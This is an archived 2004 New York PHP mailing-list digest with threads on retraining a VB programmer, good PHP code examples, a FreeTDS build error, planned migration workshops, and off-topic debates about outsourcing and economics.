PHP take a bit of getting used to. Jeff Siegel inforequest wrote: > Joel De Gan joel-at-tagword.com |nyphp 04/2004| wrote: > >> On Wed, 2004-06-30 at 11:53, Chris Shiflett wrote: >> >> >>> Unfortunately, I don't know of any good examples. I've heard good things >>> about coWiki's code. Anyone know of other well-written PHP applications? >>> >> >> >> Well.. >> basically, avoid just about anything on hotscripts.com it is 99% "my >> first application" stuff.. Though, sometimes there is some interesting >> approaches there. >> >> As for hacking on shit, I learned a *LOT* from hacking on the ad server >> called OASIS. >> >> Most of the apps that have web-based installs are also worth looking at >> as that displays a level of skill that the "my first app" guys will not >> have. >> >> Just some thoughts. >> > I completely appreciate the posts, but right from the start these things > are exactly what stops a VB person from going PHP. > > In VB/M$ land, "Hello World" is an example of professional programming. > In OS/PHP land (to read these recent posts) even writing phpBB is unworthy. > > People need to feel they are "OK programmers with an opportunity to be > great" not crappy-programmers-in-need-of-improvement. Granted, we are > all crappy programmers seeking perfection, but might that confidence be > the separator between the M$ camp followers and the OS people? > > Asking this guy to build a box is way over his head. Agreed that is a > problem, but giving him a box to build doesn't get him there. Asking him > to hack on an ad-server app will require careful 1:1 scrutiny with a > considerable level of PHP expertise - not an option. I agree completely > about the need to rate hotscripts and the like for "appropriateness" but > that doesn't exist either. These are great ideas for talking an average > PHPprogrammer to new levels of understanding (I'd like to do them > myself, thanks for the suggestions :-) but not the newbie/VB person. > > I thought InvisionBoard would be good to show how OO *was* used with > PHP4 scripts (it's totally coded around a constructor-based layout) but > with PHP5's OO revamping of OO that may not be a good idea. I thought my > own html header management stuff would be good for teaching how PHP is > used as a server-side HTML management system, shy of templating, but > there is way too much platform stuff involved, and the objectives are > all SEO and semantic marketing - way over his head and not something I > want to be training. > > I am very close to setting him loose with the CLI as a parsing tool and > having him build an access log analyzer.... tons of good PHP to do, > modular approach, constant parallels to VI and *nix CL tools, etc and I > can even set him loose on WebTrends so compare results... but he's not > my hire so unless I can garner value from that idea I can't afford the > time. > > I might add that these people spend alot more money on tools and stuff > than the OS people I know... perhaps if there isn't a community resource > to encourage/support crossover to OS/PHP land, there is opportunity for > a short course on building a box/setting up LAMP, to be sold to such > people used to buying things like VB add-ons and widgets? > > -=john > > > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From jayeshsh at ceruleansky.com Wed Jun 30 14:01:25 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Wed, 30 Jun 2004 14:01:25 -0400 Subject: [nycphp-talk] Re: Good PHP Apps (Was: suggestions for re-training of a, junior VB/.netprogrammer) Message-ID: <40E2FFF5.8030307@ceruleansky.com> Hello all, this is an interesting discussion: is a "good" program one that is comprised of clean code, or one that fulfills a need? John wrote: >In VB/M$ land, "Hello World" is an example of professional programming. >In OS/PHP land (to read these recent posts) even writing phpBB is >unworthy. This is an interesting point. Thinking back to my own experience, I have the following to say: I created a content management system which I have successfully customized and resold to several customers. It gets the job done, it works without major (security / data loss / usability) bugs, and the customers are happy. But from the point of view of "cleanliness of code" and overall "architecture", there are many things that I would like to change. I sat down one afternoon, determined that a complete rewrite was the way to go. After a couple of weeks of work, I made quite a bit of progress; but the new system had hardly any features, and quite a few visible bugs. The architecture was nicer, the code was (ostensibly) cleaner - but from a value-added point of view, I had not gotten that far. In that moment, I realized that all the hours I had spent writing Rilke CMS were also hours spent learning PHP. And that, while the code contained therein was not the equivalent of a well-aged Chianti Classico or a sumptuous piece of Vermont cheddar, it satisfied the customer's hunger for a system that let him update his own site. All the little tacked-on addons, all the little code pieces shoehorned into a system that was growing too fast - they all did something useful. When Netscape engineers decided to throw out the old Netscape 4.x code base in favor the new, unfinished Gecko codebase in 1998, they went through what I am feeling now: "old is bad, new is good". In evaluating the usefulness of software, it pays often to think of the business value added by that program. Even if I write a piece of software that has the cleanest code in the world - if it does not do something unique, if it does not scratch someone else's itch, then it probably will not scratch mine. All these pieces of often-derided software: PHPBB, Gallery, Microsoft Windows, etc - they all have served useful purposes at some point. But what about security? Yes, that's a valid point - writing secure software is important, but it does not always happen. Business deadlines, fulfilling marketing requirements and the desire to stay in business by shipping attractive products on time force companies to think of producing software that will be in demand - not software that cannot be broken into. I think it speaks to the inner-burglar in all of us when reports of another computer trojan or virus outbreak storm the front pages of newspapers. As food for thought: why should banks have locks and security cameras? Why do houses have doors and locks? Does the problem lie in the weakness of locks, or the lack of human restraint? Best Regards, - Jay From ajai at bitblit.net Wed Jun 30 14:05:06 2004 From: ajai at bitblit.net (Ajai Khattri) Date: Wed, 30 Jun 2004 14:05:06 -0400 Subject: [nycphp-talk] suggestions for re-training of a junior VB/.netprogrammer In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702D25314@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702D25314@ehost011-1.exch011.intermedia.net> Message-ID: <40E300D2.7080704@bitblit.net> Hans Zaunere wrote: >Also, I know we had talked about free workshops/install fests/ for AMP, >which seems inline with exactly what he needs. We could even have one >for "Moving from VB to PHP." This might be perfect motivation to get >this project underway, especially if we can find some free space to hold >the event at. > This sounds like a good idea. As someone who spent almost a year doing ASP (bleh!), I found PHP easy to pick up especially if you've done some Perl before. I would be happy to lend a hand here. -- Aj. Systems Administrator / Developer From ajai at bitblit.net Wed Jun 30 14:07:19 2004 From: ajai at bitblit.net (Ajai Khattri) Date: Wed, 30 Jun 2004 14:07:19 -0400 Subject: [nycphp-talk] Using FreeTDS to connect via PHP to MSSQL In-Reply-To: References: Message-ID: <40E30157.5050004@bitblit.net> Rafi Sheikh wrote: >Has any one tried to compile FreeTDS for use with PHP (4.3.4 in our case on >AIX 5.1) to connect with MSSQL? If yes, would you be so kind as to give us >some guidance, our compiles are failing miserably > >I am listing the error below: > >-----------ERROR LISTING----------------- >gcc -g -O2 -o .libs/tsql tsql.o -lcurses -L../tds/.libs -ltds -liconv -lc >-Wl,-blibpath:/usr/local/lib:/usr/bin/../lib/gcc-lib/powerpc-ibm-aix5.1.0.0/ >2.9-aix51-020209:/usr/bin/../lib/gcc-lib:/opt/freeware/GNUPro/lib/gcc-lib/po >werpc-ibm-aix5.1.0.0/2.9-aix51-020209:/usr/bin/../lib/gcc-lib/powerpc-ibm-ai >x5.1.0.0/2.9-aix51-020209/../../..:/opt/freeware/GNUPro/lib/gcc-lib/powerpc- >ibm-aix5.1.0.0/2.9-aix51-020209/../../..:/usr/lib:/lib >ld: 0711-317 ERROR: Undefined symbol: .tds_submit_query >ld: 0711-317 ERROR: Undefined symbol: .tds_get_null >ld: 0711-317 ERROR: Undefined symbol: .tds_get_conversion_type >ld: 0711-317 ERROR: Undefined symbol: .tds_convert >ld: 0711-317 ERROR: Undefined symbol: .tds_process_row_tokens >ld: 0711-317 ERROR: Undefined symbol: .tds_version >ld: 0711-317 ERROR: Undefined symbol: .tds_client_msg >ld: 0711-317 ERROR: Undefined symbol: .tds_process_result_tokens >ld: 0711-317 ERROR: Undefined symbol: .tds_get_compiletime_settings >ld: 0711-317 ERROR: Undefined symbol: .tds_set_user >ld: 0711-317 ERROR: Undefined symbol: .tds_set_app >ld: 0711-317 ERROR: Undefined symbol: .tds_set_library >ld: 0711-317 ERROR: Undefined symbol: .tds_set_server >ld: 0711-317 ERROR: Undefined symbol: .tds_set_client_charset >ld: 0711-317 ERROR: Undefined symbol: .tds_set_language >ld: 0711-317 ERROR: Undefined symbol: .tds_set_passwd >ld: 0711-317 ERROR: Undefined symbol: .tds_set_interfaces_file_loc >ld: 0711-317 ERROR: Undefined symbol: .tds_set_port >ld: 0711-317 ERROR: Undefined symbol: .tds_alloc_login >ld: 0711-317 ERROR: Undefined symbol: .tds_alloc_context >ld: 0711-317 ERROR: Undefined symbol: .tds_alloc_socket >ld: 0711-317 ERROR: Undefined symbol: .tds_set_parent >ld: 0711-317 ERROR: Undefined symbol: .tds_read_config_info >ld: 0711-317 ERROR: Undefined symbol: .tds_connect >ld: 0711-317 ERROR: Undefined symbol: .tds_free_connection >ld: 0711-317 ERROR: Undefined symbol: .tds_free_socket >ld: 0711-317 ERROR: Undefined symbol: .tds_free_login >ld: 0711-317 ERROR: Undefined symbol: .tds_free_context >ld: 0711-345 Use the -bloadmap or -bnoquiet option to obtain more >information. >collect2: ld returned 8 exit status >make: 1254-004 The error code from the last command is 1. > This is clearly a linkage problem. You may want to try specifying where your freetds libraries are - you can do that through configure options (run "./configure --help" to see all options) or by editing the Makefile and adding a -L flag to the compile lines. -- Aj. Systems Administrator / Developer From ajai at bitblit.net Wed Jun 30 14:16:27 2004 From: ajai at bitblit.net (Ajai Khattri) Date: Wed, 30 Jun 2004 14:16:27 -0400 Subject: [nycphp-talk] The Difference Between OutSourcing and OpenSourcing is More Than a Few Letters In-Reply-To: <12194-82732@sneakemail.com> References: <001401c45e2b$e85425d0$e98d3818@oberon1> <20040630013513.GA16762@uranus.faber.nom> <12194-82732@sneakemail.com> Message-ID: <40E3037B.6000409@bitblit.net> inforequest wrote: > The threat is used all the time, but in my exerience good people who > are threatened leave -- as opposed to settling for less pay. Maybe > they don't lave right away, but they commit to leaving at first > opportunity. > > When a company burns its internal social assets it is doing so with a > purpose; it has already made a decision to abandon the workers for a > value proposition. Workers should not ignore those signs. It is my > belief that most "sick" organizations are sick because management has > made the decision, but failed to execute (yet) and the workers are in > limbo (and in their guts they feel it). If workers took the clues and > left, or if management made swift decisions, everyone would be better > off. Unfirtunately senior management often second guesses itself, > middle management holds on with disbelief or optimism, and the regular > guys get screwed. > > People say the rats are the first off a sinking ship because they can > smell the future. The truth is the holds at the bottom of the ship > fill with water first, causing the rats to run for dry land while > everyone else waits around unaware that the holds are full of water > and the ship is sinking. What bothers me though, is often the workers are sacrificed for short-term gain (especially in public companies that have to appease that whore called "Wall Street"). But what makes it especially evil, is that most of management get to line their own pockets with the money they have saved rather than invest better in a smaller workforce. There are other ways of saving money that do not involve removing loyalty from the workplace and building bigger chasms between ployers and employees. -- Aj. Systems Administrator / Developer From shiflett at php.net Wed Jun 30 14:22:33 2004 From: shiflett at php.net (Chris Shiflett) Date: Wed, 30 Jun 2004 11:22:33 -0700 (PDT) Subject: [nycphp-talk] Re: Good PHP Apps (Was: suggestions for re-training of a, junior VB/.netprogrammer) In-Reply-To: <40E2FFF5.8030307@ceruleansky.com> Message-ID: <20040630182233.83704.qmail@web52809.mail.yahoo.com> --- Jayesh Sheth wrote: > this is an interesting discussion: is a "good" program one that is > comprised of clean code, or one that fulfills a need? In the context of this discussion, which is about learning PHP by reviewing and modifying existing code, a good program is one that is comprised of clean code. Even a simple guestbook that is very well written would be good. Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ From agfische at email.smith.edu Wed Jun 30 14:21:03 2004 From: agfische at email.smith.edu (Aaron Fischer) Date: Wed, 30 Jun 2004 14:21:03 -0400 Subject: [nycphp-talk] suggestions for re-training of a junior VB/.netprogrammer In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702D25314@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702D25314@ehost011-1.exch011.intermedia.net> Message-ID: <3EBDA10C-CAC2-11D8-B238-0003930D07F2@email.smith.edu> A free workshop/install fest/ for AMP would be of interest to me. -Aaron On Jun 30, 2004, at 10:36 AM, Hans Zaunere wrote: > Also, I know we had talked about free workshops/install fests/ for AMP, > which seems inline with exactly what he needs. From ajai at bitblit.net Wed Jun 30 14:25:54 2004 From: ajai at bitblit.net (Ajai Khattri) Date: Wed, 30 Jun 2004 14:25:54 -0400 Subject: [nycphp-talk] The Difference Between OutSourcing and OpenSourcing is More Than a Few Letters In-Reply-To: References: Message-ID: <40E305B2.3020307@bitblit.net> Stephen Musgrave wrote: >this is begging the question: when does an economic system undermine the >needs of the the society it is designed to serve? (it's a loaded question, >too.) > This is a question I have often asked myself in the last few years. It is too costly to continue in this "capitalism without conscience" model without there being serious consequences (not just economically, but also socially and environmentally). We clearly cannot continue to put people last. -- Aj. Systems Administrator / Developer From ajai at bitblit.net Wed Jun 30 14:42:56 2004 From: ajai at bitblit.net (Ajai Khattri) Date: Wed, 30 Jun 2004 14:42:56 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <25636-53715@sneakemail.com> References: <40E237A7.40700@ceruleansky.com> <25636-53715@sneakemail.com> Message-ID: <40E309B0.6050202@bitblit.net> inforequest wrote: > Of course we similarly scorn our corporate theiven, overpaid CEOs and > monpolistic robber-barrons. It is argued that theose people are not > the norm, and many argue they are a necessary evil for a hierarcical > system. How many stories can India produce where street poor from the > lowest caste became jet-set millionaires based on their cunning, luck, > ingenuity, and hard work? We can count hundreds of thousands at > least... too many to try and count. If you say it is too soon, ok. But > do we have faith that the Indian social system will encourage such > equal opportunity? Our system is biased by corruption, and we had our > robber-barrons, but our system is not (yet) systematic corruption. I wouldn't be so sure about that. We have seen systematic and steady dismantling of regulations designed to protect us from the worst excesses of Wall Street and capitalism - some of this stuff stemed back to the Depression era (and the barons of the 20s that caused it). Now we have this "embedded" in the very government that supposedly is "of the people and for the people". Go see Farenheit 9/11 (you may hate him, but at least Michael Moore does his research and names all his sources - just flick through the appendix to any of his books). -- Aj. Systems Administrator / Developer From jayeshsh at ceruleansky.com Wed Jun 30 14:51:40 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Wed, 30 Jun 2004 14:51:40 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing Message-ID: <40E30BBC.7020703@ceruleansky.com> Hello all, I know this has evolved into something not directly related to PHP, but I would like the opportunity to respond. John wrote: >I won't argue that we have done *enough*, but >the average American knowledge worker can justify going to work and >living a decent life, and many of them feel guilty about less fortunates >and do try to help them with donations and support. Now when we see >India and we see "knowledge workers" zipping along on motorbikes to good >jobs, and outsourcing entrepreneur millionaires boasting of their >castle-like compounds, with *extreme* poverty widespread, and many, many >living with the relative equivalent of slaves in their families' homes, >we judge them for their values. Golddiggers come to mind, and the >Goldrush mentality. People who behave like that are often scorned. They >are choosing to shop for Prada on the streets of a city world famous for >street poverty. We are choosing to shop for Prada on streets famous for >entrepreneurial opportunity (so famous, it is a target for anti-American >and anti-capitalist terrorism). I grew up in a city where children would beg on the street, where many had not enough to eat. But many of the poor and the lower-middle class did dream of a better life, and many of them succeeded. My grandfather was not born into a rich family. His family was not poor, but they were not rich either. He established himself as an honest businessmen, and refused to buy into the speculation and mania that often visited the Indian stock markets. His honesty and hard work paid off, and today, it should suffice to say that my uncles are carrying on well in his shoes. In the middle ages, and even until seventy five years ago, there was much scorn for Jews. For it was Jews who ruled the world, or so people claimed. In Germany, in 1938, the caricature of the Jew as the thieving, greedy businessman is what justified the destruction that occurred on Kristallnacht ("night of the broken glass"). If one is living in poverty and misery, should not one attempt to rise above it? Is it not the common desire that binds all of us humans - regardless of faith or ethnicity - the desire to improve our own lot? If one is surrounded by poverty, then it would seem out of place to drive around in a big car, or with fine clothes on. But are you saying that just because India is poor it should stay poor? Should the Indian government mandate that people who gain wealth be forced to give it all up in a redistribution of it so that everyone is equally poor? The history of capitalism has shown us that it produces a world that is not perfect - but it has also shown that socialism is not the answer either. It is a moral obligation to help those less fortunate than oneself - but that obligation cannot be mandated by the government. The best the government can do in such a case is to collective risks, by taxing the rich more, and by using the money gained from that tax to provide health insurance and job-loss insurance to all. It is true that child-labor is prevalent in India. But does that mean that the cloud of child labor should obstruct a more educated or fortunate child from using skills to sell credit cards to Hummer-driving Americans in New York? It is easy to write off India as a country with a few rich people who use the rest of the country as slave labor; it is easy to write off the desire for gaining profit as a corrupt and morally reprehensible act. But in the human desire to survive, the act of offering something of value - a service of good - in exchange for money is perhaps one of the noblest ways to survive. We should rise beyond the typical condemnation of profit-seeking as being only good enough for those who live in a society that can afford it. Profit-seeking which is carried out in an honest fashion, and which is driven by honest, hard work cannot be a bad thing. > >Of course we similarly scorn our corporate theiven, overpaid CEOs and >monpolistic robber-barrons. It is argued that theose people are not the >norm, and many argue they are a necessary evil for a hierarcical system. >How many stories can India produce where street poor from the lowest >caste became jet-set millionaires based on their cunning, luck, >ingenuity, and hard work? We can count hundreds of thousands at least... >too many to try and count. If you say it is too soon, ok. But do we have >faith that the Indian social system will encourage such equal >opportunity? Our system is biased by corruption, and we had our >robber-barrons, but our system is not (yet) systematic corruption. In the recent embarrassing (bumbling) interview with Carole Coleman (of RTE), Bush had a single good thing to say: "I should not be talking about the speck in your eye, when I have a log in mine". Behind the veneer of the most perfect economy and society of the world, America has its problems. It is both dangerous and self-deluding to assume that America is the perfect example for the world to follow. America has one of the most unequal economies of the Western world. If you look at some statistics ( http://www.worldrevolution.org/Projects/Features/Inequality/USInequality.htm ), the top 1% of American own as much wealth as the bottom 95% Does this inequality give American less of a right to improve their lot? >You call it "the bright light of the Indian spring" and we know it as a >spark. Unless nurtured carefully and with respect, it ain't gonne be a >bright light of spring for long. When I see (and I do see) Indian >outsourcing entrepreneurs hawking their cheap labor at every network >meeting in high-tech North Jersey, I dislike them for their agressive >gold-rush demeanor, and their detachment from the social issues. It is >all about money for them. Will I do business with them? Yeah, the next >time I want to do business that is all about money (PS: I never do >business that is all about money). Again - one has to be careful with the stereotype of the Indian businessman here. It is easy to assume that the work done in India cannot be good as the work done here. There are constraints that make it harder for companies providing outsourced services to compete well: there is an enormous demand for skilled technology and knowledge workers in India, making retaining people very hard. Secondly, the fact that they have to rely on the phone, email and IM rather than a quick face-to-face chat makes things harder. But presenting a stereotype of the typical Indian as being the same as that of the greedy Jew (as present in Germany in 1938) hawking sub-standard wares with the singular drive toward profit and profit alone is both unsettling and dangerous. I hope that outsourcing does not bring on the (much anticipated) clash of civilizations. >And I went to graduate school with Indian students who already had 4 and >5 Master's degrees, working on their next. I went with Taiwanese >students of "Environmental Engineering" who earned top grades yet had no >interest at all in anything but the computer business. Would I hire >someone who had 5 Master Degrees? Nope. Would I hire the guy with a >passion for the computer business, if I needed an environmental >engineer? Nope. What's the point? I don't know many managers who would >hire someone off Craig's List. If that's where you compete, good for >you. But do you really expect to find top people advertising on Craig's >list for $500 internships? I personally know of people (friends, family members) being hired by small businesses who advertised on Craiglist. My point is that the current unemployment and economy statistics being bandied about the Bush administration do not reflect reality; most of the growth in the current and past quarter can be attributed to company profit growth (about 50%, I think) rather than workers' wage growth (1%, I think). >It's not the market (yet). It's an entrepreneurial experiment on a large >scale, feeding the low end of demand for anonymous workers. It will >correct, and then we will see what fits where. While technology outsourcing does not necessarily work for all companies, it has been going on in full force for at least eight years now. While some companies have not been successful with it, some clearly have. It is unfair, I think, to define any kind of outsourced work as being of poor quality. It is harder to provide outsourced labor at a very level of quality for the reasons that I outlined above, but still I am sure there are some companies in America which are happy with the outsourced services they have received. If companies continually lost money on it, they would stop doing it. >>> For the last one hundred years, America has seen a dramatic growth in >>> prosperity. Perhaps now it is time for other nations to stake their >>> claim at the same thing. > >Yawn. > >It's not a serial game, and America has not the monopoly. Now if you >want to adjust your culture and >1 billion person consumer markets to >mirror ours (I think they call it "westernizing") then hey, guess what? >Your consumer market starts to look just like ours, and we can sell >into it and perhaps even dominate it! Woohoo! But are consumer markets >everything? What about ancient Greece and Rome, Egyptia, other former >leading civilizations? Are they remembered for their Coke's, their Big >Mac's, and their Chia Pets? One can talk about the last impact of great cultures, or of how great societies should be defined by their great works of art and towering museums. But all those great institutions would not be fundable without a society grounded on relative equality and prosperity. One has to stop viewing the acquisition of material wealth as being inherently evil. It is not a sin to be well fed, to have a home that one can call one's own, and to have a bit of money saved under the bed for the time when one is no longer able to work. What one has to be wary of is societies that on the surface appear to be vibrant, but underneath possess foundations that are rotting from the slow drip of diversion of public money into neo-fascist military expansion at the expense of health care and shared risks for all. No society is perfect, but please: let us applaud those who want to make a better life for themselves through hard work and honest. >Very interesting stuff for a PHP talk list, for sure. I've got a >free-as-in-software beer for Jay any time he wants to claim it. Thanks for the offer, I might take you up on it. -- Cerulean Sky Creations, LLC http://www.ceruleansky.com From sm11szw02 at sneakemail.com Wed Jun 30 15:19:11 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Wed, 30 Jun 2004 15:19:11 -0400 Subject: [nycphp-talk] Re: Good PHP Apps (Was: suggestions for re-training of a, junior VB/.netprogrammer) In-Reply-To: <40E2FFF5.8030307@ceruleansky.com> References: <40E2FFF5.8030307@ceruleansky.com> Message-ID: <13661-47329@sneakemail.com> Jayesh Sheth jayeshsh-at-ceruleansky.com |nyphp 04/2004| wrote: > Hello all, > > this is an interesting discussion: is a "good" program one that is > comprised of clean code, or one that fulfills a need? > > John wrote: > >In VB/M$ land, "Hello World" is an example of professional programming. > >In OS/PHP land (to read these recent posts) even writing phpBB is > >unworthy. > > This is an interesting point. Thinking back to my own experience, I > have the following to say: I created a content management system which > I have successfully customized and resold to several customers. It > gets the job done, it works without major (security / data loss / > usability) bugs, and the customers are happy. But from the point of > view of "cleanliness of code" and overall "architecture", there are > many things that I would like to change. And this brings us to the importance of marketng. Yes, the value is in the market's need and use. However, is that the only value for your case of the CMS you wrote? If you promote it as an exmple of an updateable websites system that works, and is being used by happy customers, can do these great things, then yes -- it is a good app. If you promote it as a CMS, however, it may have negative value. It may be compared to other modern CMS systems, and look pale in the comparison, and reflect badly on you as a provider of services. Just because you're customers are happy doesn't mean your work is good. Unless you define your work as making your customer's happy, of course. Since you are a small business owner, I understand your dual perspective (it has to be respectable and it has to make the customer happy). As a programmer, however, you may not have the same perspective. I consider a programmer that understands customer realtions a rare find... and often a dangerous asset. I don't want my programmer torn between doing it right and doing it in a way that makes the customer happy. I want to reserve those decisions for myself, as the business owner, and I want my programmer to experience anguish and pain whenever he can't do it "the right way" (I find those people are the best programmers :-) From jeff at newnewmedia.com Wed Jun 30 15:22:48 2004 From: jeff at newnewmedia.com (Jeff Loiselle) Date: Wed, 30 Jun 2004 15:22:48 -0400 Subject: [nycphp-talk] Re: Good PHP Apps (Was: suggestions for re-training of a, junior VB/.netprogrammer) In-Reply-To: <13661-47329@sneakemail.com> References: <40E2FFF5.8030307@ceruleansky.com> <13661-47329@sneakemail.com> Message-ID: <40E31308.50702@newnewmedia.com> > and I want my programmer to experience anguish and pain whenever he > can't do it "the right way" (I find those people are the best > programmers :-) > Oh now I know why my last boss hated me. :-) -- Jeff Loiselle - http://www.newnewmedia.com/~jeff From sm11szw02 at sneakemail.com Wed Jun 30 15:26:39 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Wed, 30 Jun 2004 15:26:39 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <40E30BBC.7020703@ceruleansky.com> References: <40E30BBC.7020703@ceruleansky.com> Message-ID: <10866-59746@sneakemail.com> Jayesh Sheth jayeshsh-at-ceruleansky.com |nyphp 04/2004| wrote: > >Very interesting stuff for a PHP talk list, for sure. I've got a > >free-as-in-software beer for Jay any time he wants to claim it. > > Thanks for the offer, I might take you up on it. Sounds like we don't disagree on too much to share a beer and an interest in PHP. -=john >From hans not junk at nyphp.com Wed Jun 30 17:11:04 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id 64CB3A85EA for ; Wed, 30 Jun 2004 17:11:04 -0400 (EDT) Received: from ehost011-1.exch011.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Wed, 30 Jun 2004 14:02:54 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] Introduction Date: Wed, 30 Jun 2004 14:11:00 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702D2582A at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] Introduction Thread-Index: AcRevnK5EUs2ZqpSRL2cO0ZfiZaD4gAKB6vw From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 30 Jun 2004 21:02:54.0360 (UTC) FILETIME=[9CC08180:01C45EE5] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 Jun 2004 21:11:04 -0000 > Hello All, Hey Paul, > I have had the pleasure of attending two NyPHP meetings (the=20 > most recent two in fact) and really enjoyed them, and hope to=20 > continue the learning by joining and participating in this=20 > list. It was suggested that I introduce myself, so here goes. >=20 > I am living in NYC for the summer on a work visa, and will be=20 > returning to Canada on or before August 31, or Homeland=20 > Security will be more than happy to assist me to the nearest=20 > detention center. >=20 > I started playing with PHP quite a while back in what I might=20 > is the standard way for programmers. I was using a program=20 > (phpBB) that someone else wrote and was curious as to how it=20 > worked. Experimented for a while, discovered I enjoyed coding=20 > in PHP, and the rest they say is history. >=20 > I am currently working for MetaMachine (authors of eDonkey &=20 > Overnet) here in NYC, and am able to use PHP on a limited=20 > basis, making changes to phpBB and cleaning up some of the=20 > admin interfaces we use to manage our User & Advertiser=20 > accounts. I have used PHP in many personal (my website, small=20 > pet sites, etc,) and professional (here, built the Enwin=20 > Utilities corporate intranet, etc) projects, and am looking=20 > forward to PHP5. >=20 > My particular interests in PHP would be scalability,=20 > templating and security. >=20 >=20 > thanks for having me Welcome to the list; good meeting you at the last meeting. We've got a lot to talk about, so join on in H >From hans not junk at nyphp.com Wed Jun 30 17:14:38 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id 8135EA85EA for ; Wed, 30 Jun 2004 17:14:38 -0400 (EDT) Received: from ehost011-1.exch011.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Wed, 30 Jun 2004 14:06:28 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] Good PHP Apps Date: Wed, 30 Jun 2004 14:14:35 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702D25833 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] Good PHP Apps Thread-Index: AcReum/yG47l8cVhS6C7jCkGaFJ+VwALFjZg From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 30 Jun 2004 21:06:28.0600 (UTC) FILETIME=[1C72EF80:01C45EE6] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 Jun 2004 21:14:39 -0000 =20 > Unfortunately, I don't know of any good examples. I've heard=20 Ditto for me, and frankly, that's quite sad. It unfortunately shows the state of most public PHP development, and something NYPHP has been struggling to change since the beginning. While I'm sure (and know, in fact) there is good code out there, it's generally kept private (and for good reason; I know places where PHP is used that you'd *never* believe). Thus, the bad code becomes common, and because it's so easy to write, the process snowballs. > good things about coWiki's code. Anyone know of other=20 > well-written PHP applications? It'd be a snap to start up a clew node on this and get people posting applications they like. We can then select a couple of editors to give the code a quick once over and determine if it should stay on the list or not. Any takers? H >From hans not junk at nyphp.com Wed Jun 30 17:23:38 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id 93791A85EA for ; Wed, 30 Jun 2004 17:23:38 -0400 (EDT) Received: from ehost011-1.exch011.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Wed, 30 Jun 2004 14:15:28 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Wed, 30 Jun 2004 14:23:35 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702D2585B at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: PHP Workshops Thread-Index: AcRe6H+1IOhiQRn0QaGPPUdUViK0kg== From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 30 Jun 2004 21:15:28.0686 (UTC) FILETIME=[5E5D84E0:01C45EE7] Subject: [nycphp-talk] PHP Workshops X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 Jun 2004 21:23:39 -0000 There's been a lot of good discussion on getting people up to speed on PHP that come from other languages, such as VB. As evident from the threads today, there are many different viewpoints, each with it's own merit and importance. I think it'd be foolish to let these insights fade away. As such, I'd like to see what type of interest there is to bringing the notion of a free migration workshop to fruition. However, NYPHP's existing resources are pretty well strained, so we'd need some new volunteers to get involved and take charge. Off the top of my head, I'd say these types of resources would be needed: -- general project organizer, manager and planner -- people with backgrounds other than PHP (like VB, ASP, IIS, etc) that has already gone down the path to learning PHP -- people wanting to learn PHP from other backgrounds -- some space (computer lab type of setting) where this can all happen Please, step forward and get involved... you're insight and help is always valuable to the community. Drop a note to operations not junkmail at nyphp.org or to myself if interested. --- Hans Zaunere President New York PHP 